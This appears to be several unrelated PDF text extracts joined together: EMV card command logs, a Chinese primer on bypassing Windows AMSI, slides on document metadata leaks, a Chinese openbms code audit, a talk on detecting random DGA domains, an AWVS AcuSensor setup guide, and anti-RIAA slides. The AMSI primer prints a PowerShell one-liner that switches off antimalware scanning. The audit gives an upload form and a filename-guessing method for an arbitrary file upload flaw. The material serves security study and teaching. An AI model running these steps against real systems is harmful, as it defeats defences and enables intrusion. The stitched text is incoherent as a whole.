Terminal command 21 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 01 14 32
Card response 52 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 30 9F 0D 05 BC 50 BC 88 00 9F 0E 05 00 00 00
0010: 00 00 9F 0F 05 BC 70 BC 98 00 8E 12 00 00 00 00
0020: 00 00 00 00 42 03 44 03 41 03 1E 03 1F 03 9F 4A
0030: 01 82 90 00
Terminal command 22 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 02 14 00
Card response 2 bytes: 6C FE [E] Bad length value in Le; 0xFE is the correct exact Le
0000: 6C FE
Terminal command 23 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 02 14 FE
Card response 256 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 81 FB 9F 46 81 XX XX XX XX XX XX XX XX XX
XX
0010: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
0020: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
0030: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
0040: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
0050: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
0060: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
0070: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
0080: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
0090: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
00a0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
00b0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
00c0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
00d0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
00e0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
00f0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX 90 00
Terminal command 24 48 bytes: AE GENERATE AUTHORISATION CRYPTOGRAM Generate a
signature for a payment transaction.
0000: 80 AE 90 00 2B 00 00 00 00 05 00 00 00 00 00 00
0010: 00 08 40 00 00 00 80 00 08 40 21 03 23 00 BB 59
0020: 2C 04 21 00 00 00 00 00 00 00 00 00 00 1E 03 00
Card response 2 bytes: 61 B5 [I] Command successfully executed; 0xB5 bytes of data are available
and can be requested using GET RESPONSE.
0000: 61 B5
Terminal command 25 5 bytes: C0 GET RESPONSE Retrieves the response from a previous
command.
0000: 00 C0 00 00 B5
Card response 183 bytes: 90 00 [I] Command successfully executed (OK).
0000: 77 81 B2 9F 27 01 80 9F 36 02 00 9B 9F 4B 81 90
0010: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0020: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0030: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0040: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0050: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0060: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0070: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0080: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0090: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
00a0: 9F 10 12 01 10 A0 40 03 22 00 00 00 00 00 00 00 00 00
00b0: 00 00 00 00 FF 90 00
Terminal command 26 34 bytes: AE GENERATE AUTHORISATION CRYPTOGRAM Generate a
signature for a payment transaction.
0000: 80 AE 50 00 1D DC 89 DA 6A B0 21 4C 2C 03 1A 30
0010: 30 00 00 00 80 00 BB 59 2C 04 E2 F0 AE 8B 24 8A
0020: 9F A1
Card response 2 bytes: 61 B5 [I] Command successfully executed; 0xB5 bytes of data are available
and can be requested using GET RESPONSE.
0000: 61 B5
Terminal command 27 5 bytes: C0 GET RESPONSE Retrieves the response from a previous
command.
0000: 00 C0 00 00 B5
Card response 183 bytes: 90 00 [I] Command successfully executed (OK).
0000: 77 81 B2 9F 27 01 40 9F 36 02 00 9B 9F 4B 81 90
0010: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0020: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0030: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0040: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0050: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0060: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0070: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0080: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0090: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
00a0: 9F 10 12 01 10 60 70 03 22 00 00 67 2A 00 00 00
00b0: 00 00 00 00 FF 90 00
Appendix C: Physical Card Logs and Application Life Cycle Data
JCPENNEY Rewards card Mastercard - Idemia 4 48171 9/19
4201 Encrypted PIN online, If unattended cash, next
1E03 Signature, If terminal supports CVM, FAIL
1F03 No CVM required, If terminal supports CVM, FAIL
4203 Encrypted PIN online, If terminal supports CVM, next
4403 Encrypted PIN by ICC, If terminal supports CVM, next
4103 Plain PIN by ICC, If terminal supports CVM, next
Bank of the West debit - Mastercard - Idemia 4 47112 6/19
4203 Encrypted PIN online, If terminal supports CVM, next
4403 Encrypted PIN by ICC, If terminal supports CVM, next
4103 Plain PIN by ICC, If terminal supports CVM, next
1E03 Signature, If terminal supports CVM, FAIL
1F03 No CVM required, If terminal supports CVM, FAIL
Bank of the West debit - Mastercard - Idemia 4 42447 ICA6127 6/18
4201 Encrypted PIN online, If unattended cash, next
1E03 Signature, If terminal supports CVM, FAIL
1F03 No CVM required, If terminal supports CVM, FAIL
4203 Encrypted PIN online, If terminal supports CVM, next
4403 Encrypted PIN by ICC, If terminal supports CVM, next
4103 Plain PIN by ICC, If terminal supports CVM, next
Visa Idemia 8 1563732F 08/19
0201 Encrypted PIN online, If unattended cash
0204 Encrypted PIN online, If manual cash
4403 Encrypted PIN by ICC, If terminal supports CVM
4103 Plain PIN by ICC, If terminal supports CVM
1F02 No CVM required, If not (unattended cash, manual cash, purchase + cash)
Visa OT 08 1552823A04/17
0201 Encrypted PIN online, If unattended cash
0204 Encrypted PIN online, If manual cash
4403 Encrypted PIN by ICC, If terminal supports CVM
4103 Plain PIN by ICC, If terminal supports CVM
1F02 No CVM required, If not (unattended cash, manual cash, purchase + cash)
0x9F7E "Application Life Cycle Data"
> 00 A4 04 00 0E 31 50 41 59 2E 53 59 53 2E 44 44 46 30 31
< [] 61 20
> 00 C0 00 00 20
< 6F 1E 84 0E 31 50 41 59 2E 53 59 53 2E 44 44 46 30 31 A5 0C 88 01 01 5F 2D 02 65 6E 9F 11 01 01
90 00
> 00 B2 01 0C 00
< [] 6C 2E
> 00 B2 01 0C 2E
< 70 2C 61 2A 4F 07 A0 00 00 00 04 10 10 50 10 4D 41 53 54 45 52 43 41 52 44 20 44 45 42 49 54 87
01 01 73 0A 5F 55 02 55 53 42 03 54 03 24 90 00
> 00 B2 02 0C 00
< [] 6C 34
> 00 B2 02 0C 34
< 70 32 61 30 4F 07 A0 00 00 00 04 22 03 50 05 44 45 42 49 54 9F 12 0E 42 4F 57 20 44 45 42 49 54
20 43 41 52 44 87 01 01 73 0A 5F 55 02 55 53 42 03 54 03 24 90 00
> 00 A4 04 00 07 A0 00 00 00 04 10 10
< [] 61 39
> 00 C0 00 00 39
< 6F 37 84 07 A0 00 00 00 04 10 10 A5 2C 50 10 4D 41 53 54 45 52 43 41 52 44 20 44 45 42 49 54 87
01 01 5F 2D 02 65 6E BF 0C 0F 9F 4D 02 0B 0A 5F 55 02 55 53 42 03 54 03 24 90 00
> 80 CA 9F 7E 00
< [] 6C 33
> 80 CA 9F 7E 33
< 9F 7E 30 03 10 05 17 00 03 00 00 11 45 91 69 29 10 00 00 FF FF 11 45 91 69 29 10 00 00 FF FF 48
30 27 01 82 31 70 90 00 09 11 45 11 45 91 69 29 10 00 00 90 00 | pdf |
Bypass AMSI的前世今生(1) - AMSI前置知识
0x00 前言
《Bypass AMSI的前世今生》是 [公鸡队之家] 知识星球的第一个专项技术分享。之所以选择这个主题作
为第一个主题,是因为AMSI是微软用来对抗无文件攻击而开发的安全模块,是当前攻防对抗前沿的技术
之一。从15年AMSI出现,越来越多的杀软厂商接入了AMSI接口,当前市面上主流杀软均接入此接口。
这给当时以powershell为主的红队工具致命打击。因此随后红队人员针对Bypass AMSI的研究从未停
止。从开始的script混淆到现在的内存补丁,详细的技术演变如下:
[BA1] 降级PowerShell版本到2.0(依赖于.Net 3.0,Windows 10 默认不预装)
[BA2] 混淆攻击脚本
[BA3] 使用一行命令关闭AMSI(针对这一行命令本身使用混淆绕过对抗AMSI检测)
[BA4] 设置注册表“HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable”设置为 0,
以禁用 AMSI
[BA5] 卸载当前进程中的amsi.dll
[BA6] PowerShell.exe同目录下放入傀儡amsi.dll劫持正常amsi.dll(正常amsi.dll存在于
c:\windows\system32\amsi.dll)
[BA7] Null字符绕过
[BA8] COM Server劫持(劫持杀软接入接口)
[BA9] 内存补丁技术
以上技术从不同角度,在AMSI调用流程的不同环节上实施。针对以上对抗技术为了后文方便引用,使用
[BA1-9]的编号方式,进行编号。攻防相生,在对抗的过程中,微软也对其中一些技术进行了缓解和修
补,例如:
Windows 10 1709以后,如果AMSI提供程序依赖于同目录下其他DLL同时加载,将不能工作。
Windows 10 1903以后,AMSI提供商DLL没有Authenticode-signed,可能将不能加载。这个取决
于注册表:Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits的值,
默认0x01,签名检测被禁止。也就是说微软增加了这个功能但没有默认开启
提醒杀软监控注册表“HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable”的值
总体来说,由于AMSI仅仅是一个连接应用程序和杀软程序的通道,微软主要还是在defender上做各种
对抗,针对通道本身的加固较少。
当然除了对抗以外,红队工具也寻找了另外一条出路就是.Net,使用C#开发的红队工具随之兴起。在攻
防博弈中,直接对抗往往不是性价比最高的方向,错位对抗才是能够保持红队技术具有一定领先性最好
的办法。
随着以.NET(C#)为基础的攻击技术的逐渐成熟,AMSI在.NET 4.8引入了针对Assembly导入的内存扫描,
同时针对WMI的扫描也被加入到了AMSI当中。
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('a
msiInitFailed','NonPubilc,Static').SetValue($null,$true)
No. 1 / 5
0x01 什么是AMSI
AMSI全称(Antimalware Scan Interface),反恶意软件扫描接口,他的本体是一个DLL文件,存在于
c:\windows\system32\amsi.dll。它提供了通用的标准接口(COM接口、Win32 API)。这些接口中
Win32 API是为正常应用程序提供的,方便正常程序调用这些API针对用户输入做扫描。其中的COM接
口,是为杀软供应商提供的,方便杀软厂商接入自身针对恶意软件的识别能力。官方的架构图很清晰的
表明了AMSI的作用,如图所示:
WIN32 API 如下(根据查询amsi.dll记录):
AmsiCloseSession
AmsiInitialize
AmsiOpenSession
AmsiScanBuffer
AmsiScanString
AmsiUacInitialize
AmsiUacScan
AmsiUacUninitialize
AmsiUninitialize
和官方文档中给的API有点出入的是关于UAC相关的扫描,具有单独的接口。我们重点关注的也就是
AmsiScanBuffer、AmsiScanString、AmsiUacScan这3个函数。
No. 2 / 5
COM 接口如下(省略部分接口):
IAmsiStream
IAntimalware
IAntimalwareProvider
0x03 AMSI在Windows中的整合情况
AMSI在windows系统中被直接或间接的调用,主要分布在以下程序,弄清楚AMSI的调用清楚,才能针
对性的做bypass操作,同时也有利于Opsec的规避策略。
用户账户控制,也就是UAC(EXE、COM、MSI、ActiveX的安装)
%windir%\System32\consent.exe
Powershell(脚本、交互式使用、动态代码求值)
System.Management.Automation.dll
Windows脚本宿主
wscript.exe
cscript.exe
JavaScript、VBScript
%windir%\System32\jscript.dll
%windir%\System32\vbscript.dll
Office VBA macros
VBE7.dll
.NET Assembly
clr.dll
WMI
No. 3 / 5
%windir%\System32\wbem\fastprox.dll
以上数据利用specterops提供的方法,查询:
0x04 总结
这是《Bypass AMSI的前世今生》系列的第一篇,主要了解Bypass AMSI的历史、AMSI的发展,以及
AMSI的整体架构和AMSI在windows中的集成情况。接下来我会把[BA1-4]合成一篇、[BA5-8]合成一
篇、[BA9]单独成篇、AMSI针对.Net和WMI的均单独成篇。因此本系列暂定6篇:
AMSI前置知识
[BA1-4]合成一篇(标题待定)
[BA5-8]合成一篇(标题待定)
[BA9]单独成篇(标题待定)
AMSI在.NET中的对抗
AMSI在WMI中的对抗
$UserPEs = Get-CimInstance -ClassName CIM_DataFile -Filter 'Drive = "C:" and
(Extension = "exe" or Extension = "dll")' -Property 'Name' | Select -
ExpandProperty Name
$AMSIReferences1 = $UserPEs | % { Select-String -Encoding ascii -LiteralPath $_ -
Pattern 'amsi\.dll' }
$AMSIReferences2 = $UserPEs | % { Select-String -Encoding unicode -LiteralPath $_
-Pattern 'amsi\.dll' }
$AMSIReferences1.Path
$AMSIReferences2.Path
No. 4 / 5
No. 5 / 5 | pdf |
30/06/2009
1
Chema Alonso, José Palzón
30/06/2009
2
Metadata:
Information
stored
to
give
information
about
the
document.
▪ For example: Creator, Organization, etc..
Hidden information:
Information internally stored by programs and not
editable.
▪ For example: Template paths, Printers, db structure, etc…
Lost data:
Information which is in documents due to human mistakes
or negligence, because it was not intended to be there.
▪ For example: Links to internal servers, data hidden by format, etc…
Wrong management
Bad format conversion
Unsecure options
New apps
or program
versions
Embedded
files
Search engines
Spiders
Databases
Embedded
files
Wrong management
Bad format conversion
Unsecure options
30/06/2009
3
The answer is NOT.
Almost nobody is cleaning documents.
Companies publish thousand of documents
without cleaning them before:
Metadata.
Hidden Info.
Lost data.
Total: 4841 files
30/06/2009
4
Real Name
Username
Internal Domain
.. And more…
30/06/2009
5
Total: 896 files
30/06/2009
6
Total: 1075 files
30/06/2009
7
User
Software Version
Internal Server NetBIOS name
Remote Printer Name
Local Printer
30/06/2009
8
30/06/2009
9
Office documents:
Open Office documents.
MSOffice documents.
PDF Documents.
▪ XMP.
EPS Documents.
Graphic documents.
▪ EXIFF.
▪ XMP.
And almost everything….
30/06/2009
10
EXIFREADER
http://www.takenet.or.jp/~ryuuji/
30/06/2009
11
http://video.techrepublic.com.com/2422-14075_11-207247.html
30/06/2009
12
30/06/2009
13
Users:
Creators.
Modifiers .
Users in paths.
▪ C:\Documents and settings\jfoo\myfile
▪ /home/johnnyf
History of use.
Operating systems.
Software versions.
Paths.
Local and remote.
Network info.
Shared Printers.
Shared Folders.
ACLS.
Printers.
Local and remote.
Internal Servers.
NetBIOS Name.
Domain Name.
IPAddress.
Database structures.
Table names.
Colum names.
Devices info.
Mobiles.
Photo cameras.
Private Info.
Personal data.
30/06/2009
14
Info is in the file in raw format:
Binary.
ASCII .
Therefore Hex or ASCII editors can be used:
HexEdit.
Notepad++.
Bintext
Special tools can be used:
Exif redaer
ExifTool
Libextractor.
Metagoofil.
…
…or just open the file!
30/06/2009
15
http://www.edge-security.com/metagoofil.php
30/06/2009
16
30/06/2009
17
30/06/2009
18
30/06/2009
19
These tools only extract metadata.
Not looking for Hidden Info.
Not looking for lost data.
Not post-analysis.
30/06/2009
20
Fingerprinting Organizations with Collected
Archives.
Search for documents
Automatic file downloading
Capable of extracting Metadata, hidden info and
lost data.
Cluster information
Analyzes the info to fingerprint the network.
30/06/2009
21
http://www.informatica64.com/FOCA
30/06/2009
22
30/06/2009
23
http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=144e54ed-
d43e-42ca-bc7b-5446d34e5360
30/06/2009
24
OOMetaExtractor
http://www.codeplex.org/oometaextractor
30/06/2009
25
http://www.metashieldprotector.com
30/06/2009
26
30/06/2009
27
30/06/2009
28
Authors
Chema Alonso
▪ [email protected]
Enrique Rando
▪ [email protected]
Alejandro Martín
▪ [email protected]
Francisco Oca
▪ [email protected]
Antonio Guzmán
▪ [email protected]
30/06/2009
29 | pdf |
openbms代码审计
项目地址:链接
系统认证逻辑
系统采用thinkphp框架开发,主要是后台 admin 的功能
所有控制器全都继承 AdminBase.php ,认证程序也是在 AdminBase.php 中进行的,在进行父类
的初始化后有两个函数用于登录校验和权限校验-- checklogin() 和 checkAuth() 。
其中这个 checkAuth() 方法设置了白名单, $noLogin , $noAuth 两个数组中的是白名单接口,可
以不进行权限校验,也就是任意用户登录后都可以调用。
后台任意文件上传
看后台的 index 控制器,定义了 $noLogin , $noAuth 两个数组,且其中存在不需要权限认证的接
口,包括三个上传接口。漏洞存在 uploadFile 接口。
<form enctype="multipart/form-data" method="post"
action="http://www.demo.com/index.php/admin/index/uploadFile">
<label>文件上传:</label><input type="file" name="file">
<input type="submit" value="submit" name="submit">
</form>
重点关注这个 uploadFile 方法。通过 $file->move() 方法进行文件上传,这个类是 thinkphp 为
我们提供的。
重点关注两个方法, $this->check() 方法和 $this->buildSaveName() 方法。其中 check() 方
法是用来校验上传文件是否合法的,包括校验扩展名,但是此处没有传入校验规则,所以校验全部
通过。
之后是 buildSaveName() 方法,这个是上传后文件保存的名字,这个地方需要仔细看看。
默认的保存规则是 date ,进入第一个分支,然后文件名是 date('Ymd') . DS .
md5(microtime(true)) ,其中这个 microtime 返回的是系统时间戳, float 类型。因为这里文
件保存名称很特别,前面的代码显示上传成功后会返回上传的文件名,但是此处正式上传会报错,
所以需要计算这个 microtime 的值。
此处的计算技巧就是根据报错信息返回的 microtime 来缩小计算范围。我们打印的值
1644852705.0246 比 THINK_START_TIME 稍大,所以以此来计算这个值,相对来说爆破数量就会
小很多。 | pdf |
Cisco Talos
Mahdi Namazifar, PhD
DETECTING RANDOM STRINGS;
A LANGUAGE BASED APPROACH
! Given an arbitrary string, decide whether the string is a random
sequence of characters
! Disclaimer 1: This work does not address strings that are random
sequences of dictionary words
! Disclaimer 2: The current parameters of the code are tuned for
strings with length 8 or more
PROBLEM DEFINITION
! Detecting domain names that are generated by Domain
Generation Algorithms (DGA)
! Many have studied this problem:
! Papers such as:
! S. Yadav, A. Reddy, A.L.N. Reddy, and S. Ranjan, "Detecting Algorithmically Generated
Malicious Domain Names", IMC’10, November 1–3, 2010, Melbourne, Australia.
! J. Raghurama, D.J. Millera, and G. Kesidis, "Unsupervised, low latency anomaly detection of
algorithmically generated domain names by generative probabilistic modeling", Journal of
Advanced Research, Vol. 5, Issue 4, pp. 423–433.
! …
! Bayesian network approaches
! Random Forrest classifiers
! …
MOTIVATION AND BACKGROUND
! Gather as many dictionaries as you can
! Look up substrings of a given string in the dictionaries
! Based on
! number of dictionary hits
! length of substrings that were in a dictionary
! number of different languages needed to cover the substrings
define a randomness score.
! Used the score to determine whether the string is random
OUR APPROACH; THE BIG PICTURE
“MEGA” DICTIONARY
Afrikaans
English*
Hungarian
Malay
Scottish Gaelic
Tsonga
Akan
Esperanto**
Indonesian
Mandarin
Slovene
Tswana
Albanian
Estonian
Interlingua**
Māori
Southern Ndebele
Turkish
Bulgarian
Faroese
Italian
Norwegian*
Southern Sotho
Ukrainian
Catalan*
French*
Kinyarwanda
Occitan
Spanish*
Venda
Chichewa
Frisian
Kurdish
Polish
Swahili
Vietnamese
Croatian
Gaeilge
Latin
Portuguese*
Swati
Welsh
Czech
Galician
Latvian
Romanian
Swedish
Xhosa
Danish
German*
Lithuanian
Russian*
Tagalog
Zulu
Dutch
Greek
Malagasy
Saraiki
Tetum
“MEGA” DICTIONARY – LANGUAGES"
" Source: OpenOffice and others
* Different versions of the language
** Constructed language
! US 1990 census data:
! Female names
! Male names
! Surnames
! Dictionary of Scrabble words
! Alexa 1000 domain names
! Numbers
! Dictionary of texting acronyms
! “yolo”, “wyd”, “ttyt”
“MEGA” DICTIONARY – OTHER
! Slugify to deal with accents, special characters, etc.
! Mandarin, Japanese, …
!
! Pinyin: “geng3 quan3”
! The following words are added to the dictionary:
! “geng3quan3”
! “gengquan”
! Russian and Ukrainian
! Use “koi8-r” decoding
! “i” and “y” are used interchangeably
! …
SPECIAL TREATMENT
! The word “book” appears in multiple different dictionaries
! English, Polish, Dutch
! Run Map-Reduce to find all the dictionaries that a word appears in
! As a result every entry of the “mega” dictionary looks like
! “suis”, ['ad', 'nl', 'af', 'ms', 'ca', 'fr’]
! Each element of the list is a 2-letter code indicating a dictionary
! Some special dictionaries:
! ‘ee’: English dictionary with ~360K words (simple English)
! ‘ad’: English dictionary (including Scrabble words) with over 1.5M words (elaborate English)
SAME WORD MULTIPLE DICTIONARIES
! A Python dictionary of str to list of str
! “suis”: ['ad', 'nl', 'af', 'ms', 'ca', 'fr’]
! Lookup time complexity O(1) for average case
! Currently contains over 11.7M entries
MEGA DICTIONARY
! Traversing the string
! From left:
! “mystring” “mystring”
! “mystring” “ystring”
! “mystring” “string”
! “mystring” “tring”
! “mystring” “ring”
! “mystring” “ing”
! From right:
! “mystring” “mystring”
! “mystring” “mystrin”
! “mystring” “mystri”
! “mystring” “mystr”
! “mystring” “myst”
! “mystring” “mys”
LOOKING UP SUBSTRINGS
! Traversing and looking up (simple English)
! From left:
!
“goodtobethere”
“goodtobethere”
No
!
“goodtobethere”
“oodtobethere”
No
!
“goodtobethere”
“odtobethere”
No
!
“goodtobethere”
“dtobethere”
No
!
“goodtobethere”
“tobethere”
No
!
“goodtobethere”
“obethere”
No
!
“goodtobethere”
“bethere”
No
!
“goodtobethere”
“ethere”
Yes!
!
“goodtob”
“goodtob”
No
!
“goodtob”
“oodtob”
No
!
“goodtob”
“odtob”
No
!
“goodtob”
“dtob”
No
!
“goodtob”
“tob”
Yes!
!
“good”
“good”
Yes!
[“ethere”, “tob”, “good”]
LOOKING UP SUBSTRINGS
(SIMPLE ENGLISH)
!
Traversing and looking up (simple English)
!
From right:
!
“goodtobethere”
“goodtobethere”
No
!
“goodtobethere”
“goodtobether”
No
!
“goodtobethere”
“goodtobethe”
No
!
“goodtobethere”
“goodtobeth”
No
!
“goodtobethere”
“goodtobet”
No
!
“goodtobethere”
“goodtobe”
No
!
“goodtobethere”
“goodtob”
No
!
“goodtobethere”
“goodto”
No
!
“goodtobethere”
“goodt”
No
!
“goodtobethere”
“good”
Yes!
!
“tobethere”
“tobethere”
No
!
“tobethere”
“tobether”
No
!
“tobethere”
“tobethe”
No
!
“tobethere”
“tobeth”
No
!
“tobethere”
“tobet”
No
!
“tobethere”
“tobe”
Yes!
!
“there”
“there”
Yes!
[“good”, “tobe”, “there”]
LOOKING UP SUBSTRINGS
(SIMPLE ENGLISH)
! [“ethere”, “tob”, “good”]
min length: 3
! [“good”, “tobe”, “there”]
min length: 4
[“good”, “tobe”, “there”]
PICKING BETWEEN TWO SETS
! floatingbarmalapascua.com
! Registered on: June 23, 2013
! Substrings found:
! “floating”: ['de', 'ee', 'it', 'ad']
! “barma”: ['sk', 'sq', 'gs', 'cs', 'pt']
! “lapas”: ['gs', 'gl', 'oc', 'af', 'hi', 'lt']
! “cua”: ['vi', 'en', 'id', 'gl', 'ca', 'gs', 'bg', 'sq']
! How to find minimal set of dictionaries that has non-empty
intersections with all the dictionary lists above?
LOOKING UP FOR MORE LANGUAGES
! Collection of subsets of a finite set
! A hitting set for , i.e., a subset such that contains at
least one element from each subset in
! Find minimum cardinality hitting set,
! Bad news: MHS is NP hard
! Good news: our sets are small enough that we use a greedy
algorithm
MINIMUM HITTING SET PROBLEM
S' ⊂ S
C
C
S
C
S'
S'
!
From each subset, pick an element and put them together into a set
!
Find all possible sets built this way
!
Take the ones with minimum cardinality
!
Disclaimer: there are more efficient algorithms for this problem, but this one is good enough
for us
!
Back to our example:
!
Substrings found:
!
“floating”: ['de', 'ee', 'it', 'ad']
!
“barma”: ['sk', 'sq', 'gs', 'cs', 'pt']
!
“lapas”: ['gs', 'gl', 'oc', 'af', 'hi', 'lt']
!
“cua”: ['vi', 'en', 'id', 'gl', 'ca', 'gs', 'bg', 'sq’]
!
Minimum hitting sets:
['de', 'gs'], ['ee', 'gs'], ['gs', 'it'], ['gs', 'ad']
!
At least 2 dictionaries are needed to cover the words
MINIMUM HITTING SET; GREEDY
ALGORITHM
! Factors:
! Minimum hitting set number
! Length of the string
! Sum of length of words found in the string
! Number of words longer than 3 letter
! These factors along with parameters that are tuned are used
to give scores for:
! Randomness with regards to a “simple” English dictionary
! Randomness with regards to a “comprehensive” English dictionary
! Randomness with regards to “all” languages
NON-RANDOMNESS SCORE
! Sequence of alternating vowels and consonants.
! Example: “symebitop”, “cusabifik”, “figih-avow”, …
! Is “_” or “-” present in the string?
! These characters indicate some sort of separation that could be used
! Example: “ugg-outlet-store-online”, “free-android-claims”
! Punycode:
! xn--t8j0gd4151ac8betyjq5g
!
OTHER CONSIDERATIONS
! False negative:
! We use 9 Domain Generation Algorithms to generate random strings
! We see how many of them are missed by our algorithm
RESULT
Algorithm name
biscuit
caphaw
cryptolocker
expiro
ramdo
tinba
zbot
zeus-1
zeus-2
Number of samples
2,500
10,000
1,000
23,500
5,000
1,000
1,000
1,000
1,000
Number of missed
9
26
11
5
19
19
1
3
0
Missed percentage
0.36%
0.26%
1.10%
0.02%
0.38%
1.90%
0.10%
0.30%
0.00%
Some of missed samples
fibnflqi'
wppobrup'
uspsjkvlorars'
frenek5eben'
wsaomesoewesgcaw'
htneeliioves'
bcbaadee236'
sotdeprctuwhnyvgnbibdeil'
tmaystbz'
rudocrs9'
rpgsuesaBqor'
fweru5ferin'
skosmeeceiawicyo'
lmmmpcutenil'
pbicmdipnjeudhencikcmyt'
ihrblutpiq'
isikocmg'
edendmipxxpin'
fwenu5ferin'
uoygomesgsugueaq'
mutuummfmmhd'
mnpobcyeuvofeaaimtsaepuctoh'
naoh6srb'
0bunkkho'
pltctuskgdrlet'
frolek5oder'
myoseamsysmoogog'
dpthshyufixy'
7uebsquk'
phsixbpt'
dbasgilajayet'
flores5ezer'
cemwimmigcikaamu'
xwlobbymhgry'
! False positive:
! Take Alexa 10,000 domains
! Filter out strings shorter than 8 characters
! Left with 5400 domain names.
! I run them through my code
! here are the ones that my code detected as random
RESULTS
lmebxwbsno'
bezuzyteczna'
thiruFuvcd'
123sdfsdfsdfsd'
lavoixdunord'
3a6aayer'
fmdwbsfxf0'
plsdrct2'
andhrajyothy'
canlidizihd1'
abckj123'
muryouav'
nguoiduaHn'
mazika2day'
hosyusokuhou'
przegladsportowy'
follovvme'
masqforo'
fullvehdfilmizle'
plsdrct1'
addic7ed'
1c5bitrix'
anige5sokuhouvip'
xxeronetxx'
akb48matomemory'
3djuegos'
phununet'
thqafawe3lom'
donya5e5eqtesad'
ikih0ofu'
thaqafnafsak'
srv2trking'
vecteezy'
turkcealtyazi'
adstrckr'
avmuryou'
nsdfsfi1q8asdasdzz'
iiasdomk1m9812m4z3'
thiruFuvcd'
esrvadspix'
isif5life'
ig84adp2' | pdf |
AWVS 也有一个插桩模式,我们也来试用一下,先安装好awvs
// pull 拉取下载镜像
docker pull secfa/docker-awvs
// 将Docker的3443端口映射到物理机的 13443端口
docker run -it -d -p 13443:3443 secfa/docker-awvs
// 容器的相关信息
awvs13 username: [email protected]
awvs13 password: Admin123
AWVS版本:13.0.200217097
1.开启插桩扫描
开启 AcuSensor 如下两张图
图1 未开启AcuSensor
图2 开启AcuSensor,参照图中所示,要使用插桩扫描必须保持AcuSensor为选中状态
2.准备桩点jar包和切面jar包
下图按钮就是桩点下载地址
切面jar包下载的地址是:
https://repo1.maven.org/maven2/org/aspectj/aspectjweaver/1.9.5/aspectjweaver-1.9.5.jar
3.安装桩点jar包和切面jar包
把这两个jar包放到tomcat的lib目录中
别忘了要重命名切面jar包为aspectjweaver.jar
4.加入启动代码
在catalina.sh中cygwin=false这行上面加入以下代码
(请依照实际情况修正jar包的路径)
这样启动的java进程就是可以执行插桩扫描的应用系统,然后就是正常的开始扫描就可以了
5.扫描结果
带有AcuSensor图标的就是插桩测试出来的结果以及 (AcuSensor)文字标识的都是插桩扫描出来的结果
很明显插桩扫描出来的结果更为详细,甚至能给出执行的sql语句
图1
JAVA_OPTS="$JAVA_OPTS -javaagent:/home/test/apache-tomcat-8.5.61/lib/aspectjweaver.jar -Dacusensor.debug.log=ON"
图2
其他:springboot的部署
可以参照 官方链接,使用部署swagger,进行统一的插桩扫描,发现系统隐患
总结:
awvs相对netsparker配置方便,适合对burp等抓包工具的日志文件或swagger的接口列表文件进行检测
谢谢
FROM openjdk:8-jdk-alpine
COPY AcuSensor.jar AcuSensor.jar
COPY aspectjweaver.jar aspectjweaver.jar
COPY myspringapp.jar myspringapp.jar
EXPOSE 8080
CMD java -javaagent:aspectjweaver.jar -Dacusensor.debug.log=ON -Dloader.path=AcuSensor.jar -cp myspringapp.jar o | pdf |
Down With The RIAA
Musicians Against the
Recording Industry
By: Ichabod Ver7
Independent artist/producer
www.loopbackimposter.com
Priceless
• New computer: $900
• I/O box: $500
• Studio monitors and Microphone: $900
• Telling the RIAA to go fsck themselves:
Priceless
Purpose of this Presentation
• This presentation is for enlightening
individuals on the current state of the music
business and provides a way to completely
change it in the future so that it better suits
both artists and consumers.
• Prove that you don’t need a big recording
studio to make a good recording
What’s the Problem?
The recording industry isn’t about music, it’s
about:
• Money for the company
• Image and product
• Applying formulas to artistic works
• Telling people “This is cool, you should buy
this.”
• Not caring for the consumers of their
products
• Benefiting only a few
What’s the Problem?
• Payola - Yes it does happen
• Resistant to change
• They don’t think, they just have knee jerk
reactions
• It’s not how good you are it’s who you know
• Artists retain little rights, if any, over their
music
• Pirate Act: Lobbying to get copyright civil
suits changed to criminal
Money for the Company
• Getting a recording contract is like winning
the lottery, only winning the lottery you are
guaranteed some money
• 90% of major label releases don’t make a
profit
